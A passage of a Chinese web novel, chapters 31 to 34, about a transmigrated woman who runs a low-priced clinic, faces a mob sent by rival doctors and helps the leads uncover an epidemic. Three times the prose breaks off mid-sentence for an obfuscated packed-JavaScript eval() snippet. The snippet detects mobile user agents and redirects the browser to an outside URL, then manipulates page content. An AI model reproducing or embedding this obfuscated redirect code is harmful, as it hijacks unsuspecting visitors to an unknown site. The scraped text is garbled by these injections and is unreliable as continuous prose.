按照原著的剧情,在陆晏时和柳半夏相熟了以后,柳半夏会被陆晏时邀请到流民安置棚区为灾民诊治,二人在此时发现有些人的症状非比寻常,便多了个心眼,将这几个人单独安置了起来,柳半夏回去翻医术时发现这些人的症状与一种瘟疫十分相似,便将此事告知了陆晏时。 陆晏时当即上报官府,又安排将整个安置点的人与外界隔离,请来名医与柳半夏共同诊治病人,终于将瘟疫控制住,并未大规模爆发,从而立下一场大功劳。 但沈望舒囤下的煤炭、冬衣与药材却叫城内一切物资充足,连流民安置点都能在夜里燃起柴火取暖,感染风寒的人也少了许多,柳半夏更是没有被邀请去流民安置处诊治,是以沈望舒有些担心后面的剧情还会不会发生,想要借着送衣服去探一探陆晏时的话。 却不想话没探出来半句,还在人家跟前丢了人,实在是狼狈极了。 沈望舒无法,只好先去济世堂那里瞧一瞧,再去柳半夏那里看看有没有什么进展,若真的有什么要发生,她也好先做准备。 她看着窗外连绵不断的雪,长长地叹了一口气。 为了这对男女主,她简直操碎了心。 31.第三十一章 连着下了好几日的大雪,如今路上的积雪已经能没过人的脚踝,木制的车轮压在雪地上发出咯吱咯吱的声响,两匹马也叫这雪冻住了腿似的走得极慢,好在沈望舒今日也没什么急事,就这么窝在车厢里,手里抱着个暖炉,昏昏欲睡时,安静了许久的沈妄姝突然开口道:“你的心跳声好吵。” 沈望舒被她吓了一跳,这才想起来自己脑子里头还住着个人在和自己玩爱的供养,方才自己被陆晏时撩得兵荒马乱的模样都被她清清楚楚地看在了眼里,叫沈望舒多少有些臊得慌,,倒也难为沈妄姝这个陆晏时毒唯兼女友粉能忍到现在才开口骂人。 “对不住对不住,”沈望舒立刻开口向她道歉,“你哥哥实在长得过分好看,刚才笑起来那个样子换谁来都遭不住,我心脏怦怦跳情有可原,下次不会了,我保证。” “哼,”沈妄姝难得没在陆晏时相关的事情上大吵大闹,只轻轻哼了一声之后,改口说道,“你别管陆晏时和柳半夏的闲事了不行吗?左右他们二人到现在都没看对眼,你有那时间做红娘,倒不如去多睡一会呢,瞧你困的那样子。” 虽然沈望舒有事没事骂她蠢笨,还要三天两头惹自己哭,但自打沈望舒来了这里,一切事情的走向都在她的努力下逐渐变好,又瞧着她整日都在为沈家的前途奔波,忙得整日连睡都睡不上几个时辰,沈妄姝看在眼里,免不得会心疼她的辛苦付出,想叫她抓紧时间多休息一会儿倒也正常。 “我要先确认时疫到底会不会发生,”沈望舒作为一个曾经的996战士,已经习惯了熬夜加班工作学习,如今这些工作量对她来说反而算不得什么,“若是真的有时疫,就这么放任不管的话就连我们自身都会有感染的危险。” “早发现,早防范,才能把一切损失控制在最小范围内,”沈望舒眼见济世堂就在眼前,便匆匆地把剩下的话一起说了,“再说了,出于人道主义着想,我也不想看到那么多人受灾染病而死。” 济世堂才开业不到半月,每日来此看诊的人几乎要踏破医馆的门槛,就连不住在附近的人都专程过来看病,便是在这样大雪纷飞、寒风刺骨的日子里,排队等着看病的人都已经排到了大街上。 沈星遥如今对济世堂上了十二万分的心,每日几乎都在这里头泡着,甚至还要亲自上手去帮忙煮药,这几日眼看着在外头排队的人太多了,这天气又实在冷的吓人,干脆就唤人支了个棚子在门口,每日煮上几锅姜糖水,谁来都给分上一碗热腾腾的姜汤,分文不取。 于这时代里糖本就是珍贵之物,有些家里穷的,一年到头都舍不得吃上几回糖,他这一行为自然获得无数赞誉,一时间人人都夸沈家儿女心善,连带着她们沈家名下的其他店里的营业额也噌噌往上攀升,众人要买些什么时,第一时间想到的都是先去沈家的铺子瞧瞧,沈望舒这一次营销做的反响极佳,收益回馈让她本人极其满意,可谓是成功极了。 而和济世堂门口人声鼎沸、车水马龙的景象相比,如今的回春堂跟前简直门可罗雀,人少的连脚印都没有几个,瞧着实在是冷清极了。 周迟此时正巧从回春堂里出来,看见沈望舒从自家门前走过,这几日来的窝囊气一下爆发了出来,开口便冲沈望舒骂了句:“你倒还有脸过来!” “我又不来找你,哪有什么有脸没脸的?倒是周大夫好大一张脸,倒还真把自己当一回事了,”沈望舒挑了挑眉,冷笑着嘲讽了句,“在我面前逞口舌之快有什么用?有本事就想想怎么救你师傅的医馆吧?别是一整日连一副药都卖不出去吧?” 她说话乖张又不客气,周迟对这跋扈嚣张的蛇蝎女子实在恨的牙痒痒,若不是对方有侍卫跟在身后对他虎视眈眈,只怕当场就要冲上去撕破她那张虚伪的脸!沈望舒却懒得与这强弩之末多费口舌,连看也不想多看周迟一眼,转过身径直往济世堂里走去。 来的路上她都已经打算好了,先去找沈星遥和两位看诊的大夫聊一聊,假装担忧地问一嘴这样的天气很不好爆发时疫,再顺势问一嘴现在常见的疫病症状、要如何诊治,以及自家需不需要备下什么药材以备不时之需,只是此时医馆里头的病人实在太多,两位老师傅看诊都来不及,两只手光写药方都要写出火星子,并没有和沈望舒讨论事情的时间。 而沈星遥则是因为从外地买的药材到了城门口、车轮坏了陷进雪地里,他在医馆里左等右等等不到,便亲自去接货了,此时正巧不在济世堂内。 眼下就快要过年了,又正巧遇上这几十年一遇的大寒冬,因而有许多学堂都提前停了课,沈望舒难得在这样的清早没事要做,便去后院找了个没人的房间,寻了个榻子半卧着,想着先小睡一会,剩下的事情等到沈星遥回来再做打算,她昨天几乎一夜没睡,到这会儿确实是有些乏了。 只是人算到底不如天算,沈望舒才睡下不到半个时辰,她的侍女突然慌慌张张地推开她的房门,急色道:“小姐,前头出事了,您快去瞧瞧吧!” 沈望舒哪里还有什么睡意,于霎时间就清醒了过来,手忙脚乱地套上鞋、紧赶慢赶地往前头跑去。 济世堂内果真乱成一团。 门口原本正咕嘟咕嘟煮着姜汤的大锅不知何时被人掀翻了,里头的糖水尽数洒在雪地上,被人踩过之后便化成了一滩污泥似的颜色,黏糊糊地与被打碎的陶碗混在一起,哪里还看得出原本的模样,倒是更像是路边脏水横流的臭水沟。 大堂里涌进来八九个身材高大的男子,面上的表情都是如出一辙的凶恶,嘴里骂骂咧咧不说,还要上手来砸济世堂里的东西,椅子、药材、药碗,简直见着什么摔什么,铺着地毯的青砖上头一片狼藉,有人出来拦他们,反叫为首的大汉推了一把,重重地摔到了地上去,叫药碗的碎片一扎,顿时满手是血。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884819|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈望舒的两个侍卫自然也无法与这这样多的人对着干,只能先将两位老师傅护起来,省的一会儿这些人发起疯来,要打这两位老大夫。 沈望舒赶到前头来时,就正好瞧见这么一副景象。 她想也不想,大喝一声:“干什么呢!?” 这一声叫在场所有人都纷纷向她看去,那些闹事的人间沈望舒来了,便开口大骂道:“你还好意思问!” “你开这医馆到底什么意思!” “故意把价钱压的这么低,是不是根本不打算让我们活了!” “你们沈家人好生霸道!自己赚了个盆满钵满,还要堵死别人家的活路!” 这一骂沈望舒就明白过来了,这些人应该是附近医馆的人联合起来闹事的,她这济世堂开起来之后,不光是回春堂几乎没了人去,连别的医馆的生意也受了影响,再加上这段日子突降大雪,感染风寒的人是往年的两倍不止,偏偏因为大雪阻路,交通受了影响,想要进货来也困难,因而在短时间内治疗风寒的药物价格像疯了一样涨了起来:平日十来文钱就能配的一副药一下涨到六七十文不止,如今整个城里只剩下济世堂还能叫人不到十文钱买一副风寒药,患者自然都挤到这处来,便是要他们排上几个时辰都是愿意的。 沈望舒还没来得及说什么,却听得沈妄姝气呼呼地道:“他们干什么呀!你分明是在做好事呢!” “也不算吧,”沈望舒有些尴尬地笑了一声,“我确实卷低价扰乱市场竞争了,整了个医馆拼多多出来,严格来说也是压缩他们生存空间了,人家不高兴也是正常。” 但她还十分自豪地补了一句:“但我都做恶毒女配了,不干点坏事也不正常,对吧。” 沈妄姝一听这话倒是急了,赶忙喊道:“那你还站这干什么?还不赶紧跑!一会儿他们打你怎么办!” 沈望舒却不着急跑,面对众人的指责,她不躲也不闪,反而仰起头来,眉头一皱,眼眶于瞬间泛起了红,豆大一样的泪珠“啪嗒”一声从眼眶里滑落,用十分委屈的声音开口道:“你们怎么这么凶呀……” 她什么话都不为自己辩解,就这么眼泪汪汪地看向那些个闹事的大汉,摆出一副弱女子的姿态,怯生生地哭道:“我究竟做错了什么事,值得你们这样来势汹汹地来向我兴师问罪?” 沈望舒这一哭,哭得众人一个措手不及,连闹事的人都给看愣了,原本围观的人此时也都回过劲来,纷纷指责他们不要脸,这么多人联合起来去欺负沈望舒一个未出阁的姑娘,有看不过眼的甚至还要上手推人了。 几人急了,正要开口说话,突然有个男子自外头疾步而来,目不斜视地冲到沈望舒的跟前,一把将她护在自己的身后,冲那些闹事的人呵斥道:“你们这是在做什么!” 沈望舒抬头一看,来人不是旁人,正是早上害的她惊慌失措的陆晏时。 32.第三十二章 沈望舒戏瘾大发,眼泪才流到了一半,剩下的部分还没开始演呢,却没想到陆晏时会突然出现,生生把她才搭了一半的戏台给踹翻了。 她有些懵地看着陆晏时,呆呆地问:“你怎么来了?” 沈望舒还有刚溢出眼眶的泪挂在脸颊上没来得及落下,她瞪大了眼睛、带着几分错愕的表情看向陆晏时的时候,竟有几分娇憨的可爱,叫陆晏时下意识抬起手来,以自己的衣袖将她面颊上的泪尽数擦了,低声道:“莫怕。” 沈望舒没怕,但是她快疯了。 因为脑子里的沈妄姝在这一刻疯狂地尖叫起来,几乎要把沈望舒的脑仁喊穿:“你!!你!!你!!” 沈妄姝“你”了半天说不出第二个字来,沈望舒不得不先去安抚她:“姐姐,你先安静一下,等事情解决了我扇自己两巴掌再给脸上洗二十遍,当作给你和你哥哥赔罪了,行不?” 陆晏时自然不知道沈望舒此刻正在遭受什么。 他今日去帮忙给流民施粥,照例去查看了几个感染了风寒的人的状况,却发现有两个人的症状似乎与其他人的样子不太一样——体温更高、呼吸更加急促,吃下去的东西尽数都吐了出来,似乎连水都喝不下去几口,整个人虚弱的好似快要昏厥过去,并不像是寻常的风寒。 官府划分给这些流民的地方要么是临时搭的草棚,要么是借用的寺庙,条件自然算不得太好,但陆晏时却还是多了个心眼,把这事情跟梅停云讲了,二人一合计,干脆就把这两个病患搬进了一间没人的草棚里,并叮嘱别人尽量别靠近。 他又想起沈望舒开的医馆里请了几位医术高超的老大夫看诊,就想着来济世堂找沈家兄妹说一说这件事,再请教一下几位大夫,看看此事到底是不是自己多心了。 却不想他才赶来济世堂,就看见外头里三层外三层地围着人,门口的一片狼藉的模样看的他心下一惊,赶忙跑进医馆里,果然就瞧见沈姑娘眼泪汪汪的被几个凶神恶煞的男人团团围住,他当下脑子一片空白,是什么都顾不得了,就这样直勾勾地冲了上来,将沈望舒护在了自己身后。 但瞧见沈望舒错愕的表情时,陆晏时却突然反应过来,她这眼泪多半还是装出来的。 陆晏时有些懊恼,恼自己被这姑娘的一举一动牵着鼻子走,一见她受了委屈,整个人就好似鬼上身了一样连半点理智都没有了,实在是太没有出息。 可他一瞧见沈望舒泪眼婆娑、眼眶红红、鼻尖也红红的模样,听见她用带着哭腔的声音和自己说话,他那点子懊恼也就霎时间烟消云散,飞到九霄云外去了。 即便眼泪是装的,可沈望舒受得委屈又不是假的,他心疼她又有什么错? 只是陆晏时还未来得及开口说上什么,就有一人冲他喊道:“关你这臭小子什么事!还不快滚开!” 陆晏时却半点不为所动,即便他早就知道沈望舒开这个医馆的目的并不单纯,他却依然要站出来维护她:“沈姑娘做的皆是济民善举,几位这样闹事,是要和全城的百姓做对、见不得别人好吗?” 他这一句话当即激起民愤来,方才还在围观的患者纷纷开口指责起他们来:“就是啊!自己把药钱定那么贵,还要别人不准到别的地方看病!沈家人哪儿比得上你们万分之一的霸道!” “济世堂一天最多也就看上百来个病号,还能把你们的病人全抢走了不成!” “十几个人欺负一个小姑娘,当真是不要脸!” 那些闹事的人自然不肯善罢甘休,大声道:“她要做善事便做!价格定的这样低是做什么!现下那风寒药本就贵如黄金,你这样不就是害我们赔钱吗!” 当即有人反驳:“你们说得也算是人话!?合着我们这些付不起黄金钱买药的人就都该活活病死呗!” “还是开医馆的,竟然如此恶毒!” 众人七嘴八舌地骂起来闹事的人,沈望舒这才从陆晏时的身后探出个脑袋来,红着眼睛,用可怜巴巴地语调开口说道:“你们要是实在气不过,就去报官好了,叫知府来判一判我到底犯了什么样的大罪,干脆再将这济世堂关了,从此我们一帖药都不再卖了。” 说罢她还要长叹一口气,极委屈地道:“这到底是个什么世道,我自己贴补银钱做点善事竟然这样步履维艰!” 陆晏时看着她演出来的那一副委屈模样,只觉得她娇俏又可爱,叫人只想揉一揉她气鼓鼓的脸颊。 沈望舒一说要关店,在场的人一下都急了,纷纷开口要这些闹事的人滚,不要耽误别人看病,那些来闹事的人又哪里肯轻易罢休?两方人越骂越凶,眼看着就要动起手来,突然从外头又挤进来一个男子,大喊:“都别闹了!官兵来了!” 沈望舒往门口一看,竟是梅停云带着一队官兵挤了进来,官兵们手脚利索,二话不说就上来押人,有人见状赶忙要跑,又被其他看热闹的人团团围住,甚至还上手去抓人,场面一度十分混乱。 陆晏时生怕沈望舒被人误伤了,护着她又往后退了两步,沈望舒却还要伸出个脑袋出来看热闹,眼见那些闹事的人都被官兵抓住、正要往外押送的时候,她又赶忙往前走了两步,大声道:“嗳,别急着走啊!砸了我这么多东西呢,赔了钱再走!” 她一说完,旁人也一起起哄,说什么都要人陪了钱才准官兵把人带走,就这么折腾了快一刻钟,这些来闹事的人才被迫掏了十两银子散了,沈望舒的侍卫和婢女帮着药童一起把一地的狼藉都收拾了,济世堂才勉强恢复了秩序。 沈望舒这时候才有空去和陆晏时、梅停云二人说话。 她向二人行了一礼,道:“多谢二位公子。” 梅停云连连摆手道:“姑娘太客气了,在下还要感谢姑娘相助呢。” 说罢他一指自己身上的藏青色棉袄,笑道:“若非前些日子姑娘送我一件衣裳,只怕前些日子在下也早被冻死街头了。” 梅停云原本就生得周正,只是太过贫穷,没什么衣裳可供他打扮,如今换上这一身新衣裳,叫整个人面目一新,瞧着还真有几分翩翩公子的模样,陆晏时瞧见他们二人说话,便不着声色地往梅停云眼前一站,正好挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902096|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着沈望舒看他的视线了,这才低下头去问她:“你大哥可在?” “到城外去了,”沈望舒反问他,“找我大哥有事吗?” 陆晏时点了点头,将今日在安置处发生的事情都与她讲了,最后又补了句:“我原想着沈公子如今开了医馆,便想要请他帮一帮忙,请济世堂的大夫去看一看。” 沈望舒没想到会这样毫无预兆地就进入了时疫剧情,只怔了一下之后便立刻点头道:“自然是可以!” 末了她又往两位老大夫的位置望了一眼,颇为为难地道:“只是如今几位师傅实在抽不开身,要不咱们去隔壁找柳姑娘帮忙吧?” 梅停云这才往边上站了一步,漏出半个身子来,问道:“柳姑娘是何人?” “是隔壁回春堂的大夫,柳半夏柳姑娘,”一听梅停云问,沈望舒赶忙开启推销模式,向眼前的两位男子、本书的男主和男二安利起了女主角柳半夏,“柳姑娘虽然年轻,但是医术绝对不比旁人差,你们尽可放心把事情交给她。” “若是真的有什么异常,再来找两位老先生也不迟。” 陆晏时下意识想要拒绝。 他自己也不知道为什么,总是下意识拒绝和柳姑娘走得太近,更不想和她有额外的牵扯,只是如今人命关天,他好像并没有理由拒绝沈望舒的提议。 所以陆晏时不情不愿地点了点头,与沈望舒又寒暄了几句之后,这才带着梅停云往回春堂走了过去。 沈望舒站在门口目送他们二人,余光瞥见周迟正站在回春堂门前,伸长了脖子往济世堂的方向看,见沈望舒走出了门,便恶狠狠地瞪了她一眼,之后转身进了回春堂,不再看沈望舒一眼。 “你说,”沈望舒看着他的模样,小声嘀咕道,“那些来闹事的人跟周迟有没有关系?” 毕竟他之前用过类似的手法来对付柳半夏,如今故技重施也不无可能。 沈妄姝却还在为方才陆晏时给沈望舒擦了眼泪的事情不高兴,哼哼唧唧地说了声:“不知道。” 沈望舒向来没心没肺又神经大条,再经过刚才那么一闹,早把这事儿给忘了,她看见陆晏时带着梅停云走进回春堂的背影,终于长长地舒了一口气。 尽管费了一番功夫,但是她终于把事情拉回了正轨,叫男女主角、男二这三个人放在了一条剧情线上,只是她看着看着,突然又嘀咕道:“我觉得不对劲。” 沈妄姝没忍住,问:“哪里不对劲?” “你不觉得奇怪吗?”沈望舒皱着眉头,似乎想到什么大事,“陆晏时遇到问题的时候,没想起来请教柳半夏也就算了,为什么会第一时间想到来找你大哥啊?” 她又想起近些日子来陆晏时似乎确实和沈星遥走得很近:不仅主动提出要教他读书做学问,偶尔还能见到沈星遥主动去请陆晏时吃饭,和原本相互敌对的关系完全不同,反而有些过于亲密了。 沈望舒有些担忧地、小心翼翼地开口问沈望舒:“……那个,你哥这辈子不会拿的是女主的剧本吧?” 沈妄姝:“啊?” 33.第三十三章 连日的大雪终于渐渐有了要停下的势头,而让沈望舒终日担心的、跑偏了的剧情也终于日益走向了正轨——最开始那二人感染的果然不是普通的风寒,柳半夏做过诊断之后,立刻要求陆晏时他们将那一个安置点的人暂时与外界隔离开来,又有济世堂的两位老师傅帮助,很快就查明了病因、确定了病症,把治疗方案确定了下来。 前两世因为药材紧缺的缘故,疫症得不到及时救治,叫他们好生棘手,幸得在大范围扩散之前由柳半夏和几位大夫一起想出来另一味方子,暂时遏制住了其感染的势头,终于熬到了官府援助的药送来,才在立春前堪堪将这一场瘟疫控制住,直到天气逐渐转暖,时疫才随着春日的到来逐渐消退了。 但如今却不一样了。 沈望舒提前囤的草药在这场时疫里发挥了大作用,熬制汤药所需的药材她那济世堂里应有尽有,沈星遥一瞧见柳半夏和陆晏时需要帮助,大手一挥就把药材全都贡献了出来,沈望舒则借着沈家的名头,办了几场所谓的“慈善宴会”来筹钱,那些个有钱人见沈家靠一个赔钱的医馆赚得盆满钵满名利双收,自然纷纷慷慨解囊想要分得这一杯羹,沈望舒用那些钱去买下其他医馆的药,前些日子还上济世堂闹事的人又突然之间成了她的盟友,只有周迟被她孤立在了联盟之外,倒是叫回春堂的处境更尴尬了几分。 这一场原本要死去近百人的时疫就这样平安又悄无声息地渡过,连病死的人数也比前两世少了一半不止,几个年轻人的名声也是空前的好,这便是后话了。 如今柳半夏与陆晏时的关系也终于不再局限于普通的医生与患者,开始日益熟稔了起来:陆晏时钦佩她的医术,柳半夏则被陆晏时的学识才智折服,对他说的话十分认同尊敬,虽然还未发现什么暧昧的苗头,但也已经比先前见面只打个招呼就散场的状态好多了。 毕竟他们二人在原作里也算是日久生情,硬要说现在也可以说是半只脚迈进正轨,沈望舒的努力总算没有白费。 唯一的意外就是沈星遥不知脑子里搭错了哪一根筋,硬要跟着柳半夏和陆晏时一起去安置点里帮忙,沈望舒劝他不动,只能由着他去了。 眼见着已经到了小年,沈望舒手里山一样多的事情总算轻减了些,她收完最后一个铺子的账,眼见着天色尚早,便想着去把沈星遥接回家去。 却不想她人才到门口,正巧就瞧见沈星遥和陆晏时结伴从草棚里走了出来,沈星遥甚至还用手搭着陆晏时的肩,一副二人亲若兄弟的模样,沈望舒又不好把同住在沈府的陆晏时撂下跟她哥自己回去,只好顺便把他一起捎上了。 陆晏时近来吃住几乎都在安置棚里头,人瞧着清瘦了不少,眼下也有了层淡淡的乌青,显然是忙得几乎没什么时间睡觉了,好在精神依然不错,上了马车之后与沈望舒寒暄了几句,就去和沈星遥讨论药材的事情,沈望舒插不进话,索性打开了车窗,去看外头的街景。 车里的炭火烧的旺,叫车厢里暖的好似五月初夏,都叫人觉得有些闷热了,外头的冷风一吹进来,适时地解了燥热,覆在街面上洁白的雪如今已经全部化成了水,黑漆漆地淌在地上,成了滩粘脚的泥,粘在过路人的鞋面上。 沈望舒看着街上来去匆匆的行人,发现在不知不觉中自己竟然已经穿进这本书里两个多月了,就连刚来时觉得不方便的生活,如今也逐渐习惯了起来,想着想着,她突然毫无预兆地、长长地叹了一口气。 沈妄姝有些奇怪,问:“你叹什么气?,事情不是都如你所愿,事事顺利了吗?” 沈望舒面上满是忧愁,她用惆怅又难过的语气冲沈妄姝说:“好久没吃疯狂星期四了,我好难受,好想吃蛋挞啊。” “要不你V我50让我舒服一下?” 沈妄姝还没来得及搞清楚什么叫做疯狂星期四和V我50,沈星遥却先扭过头来冲沈望舒说了句:“妹妹你可知道,你大哥我今日立了个大功呢!” 他说话时眉飞色舞,仿佛自己做了什么不得了的大事,沈望舒下意识问他:“怎么了?” 沈星遥即答:“你是不知道,是今日新拿过去要入药的五指毛桃,不知何时叫人混了断肠草进去,若不是我多事去查看了一眼,就这么煮进药里可就要吃死人了!” “我是不认得那些药的,当时觉得不对劲,就喊柳姑娘来看了一眼,柳姑娘说这两味药长得十分相似,不仔细分辨就会弄混,你大哥我什么眼睛,只瞧一眼就看出不对劲来,你说,是不是大功一件?” 沈星遥自小泡在各种珠宝玉石堆里,眼力非同寻常,哪怕是指甲盖大小的宝石上有一点瑕疵,都能叫他一眼看出问题来,更何况那样大的草药?他这话说的轻松,却听得沈望舒眉头紧锁,问他:“好好的如何混了断肠草进去?可报官了?” “报了呀,当时就去喊人了,”沈星遥摇了摇头,略微不满地说,“只是人来是来了,随便看了看就说那地方人多眼杂,查不出什么来,一会说可能是卖药的以次充好掺进去的,一会说反正也没出事,如今城里四处都在忙,官府实在没精力管这档子事,只能就这么算了,吃个哑巴亏,以后多注意些就是了。” 沈望舒没接话,她下意识觉得此事是有人故意为之,毕竟近些日子看她不顺眼的大有人在,只是要说最恨的那个…… 她还未想别的,就听那边的沈星遥又说:“对了,前些日子你叫我帮你留意的几个未婚公子,我都给你查好了,已经叫人给你写成了册子,放你书房里了,你回去且先看看。” 陆晏时原本还操心着病人的事情,一听见这话,心里当即“咯噔”一下,下意识开口问了句:“姑娘留意这些人做什么?” 沈望舒如今与他关系亲近不少,便把陆晏时当作个朋友来看待,因而他开口问话,自己也没什么好瞒着,直言道:“我妹妹沈菀到了想看夫君的年纪,如今有我管着沈府家事,自然要帮她多看看。” 她丝毫不觉得一个未出阁的姑娘帮妹妹挑选夫婿是什么出格的大事,就这样理所当然地讲了出口,陆晏时悬着的心这才轻飘飘地落回肚子里,好不容易才安下心来,却听得沈星遥又说:“你也别光给沈菀相看,你们二人年纪相仿,你也该找了。” 他笑嘻嘻地道:“可有看得上眼的,叫大哥给你瞧瞧,把把关也是好的。” 陆晏时恨不得上去捂着他的嘴,叫沈星遥不要再提这一茬。 沈望舒正在给几人斟茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913878|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见沈星遥这话,连头也不抬,应道:“不急,我要找个顶好看的入赘才行。” 沈星遥“哦”了一声,一抬眼又瞧见坐在自己对面的陆晏时,眼睛顿时一亮。 “顶好看的不是就在这坐着呢吗?”沈星遥抬手一指陆晏时,朗声笑道,“陆兄弟谪仙一般的容貌,人又正直又聪明,正符合你的要求!” 陆晏时顿时又不希望沈星遥闭嘴了。 他今日穿一件青色梅花纹长袄,外套一件灰色狐皮大氅,虽然清瘦了不少,模样却依旧俊美,只面无表情的坐在那里,看着倒好似世家公子一般,哪里还有从前穷苦的模样?只是他虽然面上不做任何表情,皮肉之下那颗不争气的心却已经在咚咚狂跳,宛若战鼓在擂。 陆晏时觉得自己好像一个走投无路的囚徒,正在等待高堂之上的沈望舒宣判,只消她唇齿一张,便能轻易地决定自己的生死,叫他紧张地手指都要绞在一起了。 却听得沈望舒轻飘飘地说:“陆公子不行的。” 她前些日子叫陆晏时几句话撩得丢盔弃甲,如今冷静过后再一想,陆晏时用那张脸摆出那样的表情说话,不论换做是谁来都会对着这种帅哥心动的,她对这个男主免疫了这样久才第一次心动,已经是十分了不起的事情了。 再加上她因为连轴转的忙碌,连觉都睡了几个时辰,又哪里还有心思想些别的?早已将那时的一点心动抛之九霄云外,如今听见沈星遥的话,还能笑着扯皮道:“陆公子将来大有作为,入赘进沈家岂不是太过可惜?” 陆晏时被她一句话判了死刑,顿时像深冬时节枯萎的草一般蔫了下去,颇为失落地嘀咕了一句:“……有何可惜的。” 只可惜他咕哝的声音实在太小,被咕噜噜的车轮声尽数吞没了,并无第二个人听见。 沈星遥只把这事当作个玩笑,看沈望舒拒绝了,便开口扯些别的话题去了,沈望舒看了看绷着脸不说话的陆晏时,有些担心地对沈妄姝道:“完了。” “你哥只不过随口提了句入赘的话,他就不高兴了!”沈望舒摸了摸自己下巴,若有所思地道,“陆晏时百分百对你哥有兴趣。” 沈妄姝不可置信:“不会吧?” 沈望舒却说得头头是道:“也不是没可能啊,你哥这种人傻钱多的受在我们那儿挺流行的,陆晏时这种霸道总裁会栽在他身上也很正常。” “我晋江文看得多,你信我没错。” 她越说越觉得自己是个天才,还要循循善诱地去开导沈妄姝道:“其实也没啥,要是他真喜欢上你哥了,即便他不能当皇后,但是有皇帝的宠爱,你们全家一人得道鸡犬升天,还用怕什么满门抄斩?” 沈妄姝听得目瞪口呆:“不、不会吧……” 沈望舒还未来得及说下一句话,却听得那一头的沈星遥插话道:“对了,你听说了没?过些日子太常寺卿虞大人的妻女要来咱们这呢。” “听说是虞夫人表亲嫁女儿,专程来吃喜酒的。” 沈望舒只“哦”了一声表达自己知道了,并未将这什么虞大人放进心里,却听得沈妄姝突然长叹一声,幽幽道:“她还是来了。” 沈望舒一头雾水:“啊?谁来着?” 34.第三十四章 沈望舒近些日子来几乎忙得连轴转,偶有时候还真的会忘了自己正处在一本写的十分烂俗的小说里,顶了别人的身子和身份,正在努力打工赚钱养老,为自己下半辈子躺平而做牛做马。 因而她自然也就忘了,这本书在后头还有一个利用沈家兄妹的重磅反派人物、即将登场的太常寺卿虞鸿虞大人的嫡女虞妙瑛。 虞妙瑛是京城有名的才女,容貌卓绝、饱读诗书,却偏偏生了副蛇蝎一样的心肠,向来都见不得有她人抢了她的风头:她嫉恨沈望舒的美貌、憎恶柳半夏得了陆晏时的宠爱,对着两个人恨不得杀之而后快,沈妄姝这个傻子叫她连着害了两辈子,才幡然醒悟虞妙瑛竟是这样的心狠手辣。 因而如今再提起虞妙瑛时,她自然心有余悸,生怕沈望舒也被这表里不一的女人骗了去,沈望舒倒是不怎么把虞妙瑛当一回事,见沈妄姝那样紧张,还要安慰她道:“你怕她做什么,咱们如今一不倒追陆晏时,二不跟她有什么瓜葛,见着面了就离远远的就行了,不会出什么事的。” 她今日难得睡一个懒觉,醒来时早已过了吃早饭的时候,此时正坐在梳妆台前由着侍女给她梳头,而她的梳妆台上正放着一套全新的胭脂,正是沈望舒吩咐自家铺子紧赶慢赶做出来的新产品。 其中口脂的颜色还是沈望舒亲自参与调配的,如今正装在用瓷制的口脂盒里,她伸手拿来打开了,又以手指抹了点在手臂上试色,颇为满意地点了点头。 她做出来的这颜色,与时下流行的正红色、桃红色截然不同,而是她所处的那个时代里更为风靡的奶茶色,相比起来更温柔、更显气色些,为了保险起见,她还十分小心地将各种材料的配比锁进柜里,除了她自己再也不会有人知晓。 可沈妄姝看着那从未见过的口脂颜色,忧心忡忡地道:“这颜色真的有人会买吗?” 沈望舒却笑了,她难得认真地问沈妄姝道:“你有没有想过,你沈妄姝是江南第一美人,从小到大有无数黑料围绕着你,一举一动就能够在城里掀起风浪来,如今又摆出一副改过自新的样子开始做慈善,在茶余饭后聊你的人简直不要太多了!” 沈妄姝被她一顿话骂得莫名其妙,怒道:“你怎么好端端地又骂我了!” 她实在委屈,皱着脸哭诉似的开口说:“三天两头没事就骂我一顿,我知道自己名声不好,也不如寻常女子那般贤良淑德……” 沈望舒却打断她:“我哪里骂你了?我分明是在夸你!” 沈妄姝更不解了。 却见沈望舒慢悠悠地拿起化妆品,一边往自己的脸上化妆,一边笑嘻嘻地冲沈妄姝解释道:“你简直太好了,贤良淑德有个屁用?有谁会在乎贤良淑德的沈妄姝?最多就是你将来成亲时,你未婚夫家里头为了这个贤良淑德的名头,给你的聘礼里多加一锭金子买你回去罢了,其他的又有什么用处?” 她对着镜子细细地描了眉,十分耐心地对沈妄姝讲解:“你根本就是天生的网红KOL,本土版的金卡戴珊!还是天下第一大富豪的女儿,你人生的试错成本低到简直可以忽略不计,你却这样白白浪费了两辈子,真的太可惜了。” 沈妄姝一个字都听不懂。 每个字拆开了说她都明白,合在一起她却如论如何也理解不了其中的含义。 她大喊:“我听不懂!” 